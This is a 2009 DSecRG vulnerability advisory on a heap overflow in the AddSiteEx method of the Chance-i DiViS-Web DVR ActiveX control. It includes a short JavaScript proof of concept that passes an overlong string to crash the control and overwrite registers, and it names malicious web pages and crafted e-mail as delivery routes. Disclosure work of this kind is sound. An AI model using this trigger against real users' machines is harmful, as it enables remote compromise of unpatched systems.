Digital Security Research Group [DSecRG] Advisory #DSECRG-09-035
original advisory: http://dsecrg.com/pages/vul/DSECRG-09-035.html
Application: Chance-i DiViS-Web DVR System ActiveX control
Versions Affected: 3,0,0,7
Vendor URL: http://www.chance-i.com/
Bug: Heap Overflow
Second Reported: 20.03.2009
Date of Public Advisory: 09.04.2009
Author: Digital Security Research Group [DSecRG] (research [at] dsecrg [dot] com)
DiViS-Web ActiveX (ActiveView.cab) has Heap Overflow vulnerability.
Heap overflow vulnerability found in AddSiteEx() function.
There is an exploitable heap overflow vulnerability in DVR's ActiveX
If an DVR user were to visit a malicious web page, the overflow could be triggered allowing for a "remote" compromise of the user's machine. Alternatively, an attacker could send their target a specially crafted e-mail, loaded with an exploit to take advantage of this vulnerability.
The problem arises by passing an overly long string to the AddSiteEx
method of the control.
var g_sAddress = location.hostname;
var g_sId = "";
var g_sPwd = "";
var g_bLogin = false;
var g_nMaxCamera = 16;
// Port setting
var g_nImage = 3000;
var g_nControl = 3001;
var g_nSound = 8800;
var long_buff = "alexsint";
while(long_buff.length<(550*8)) long_buff = long_buff + "alexsint"; //rewrite registers
DVR.Channels = 1;
DVR.AddSiteEx("", "", long_buff, "", 0, g_nImage, g_nControl, g_nSound); //Crash on Free() at ntdll
We did not get any response from vendor for more than 2 weeks.
No patches aviable.
Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards.
Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.
Contact: research [at] dsecrg [dot] com
Digital Security Research Group [DSecRG]
This message and any attachment are confidential and may be privileged
or otherwise protected from disclosure. If you are not the intended
recipient any use, distribution, copying or disclosure is strictly
prohibited. If you have received this message in error, please notify
the sender immediately either by telephone or by e-mail and delete this
message and any attachment from your system. Correspondence via e-mail
is for information purposes only. Digital Security neither makes nor
accepts legally binding statements by e-mail unless otherwise agreed.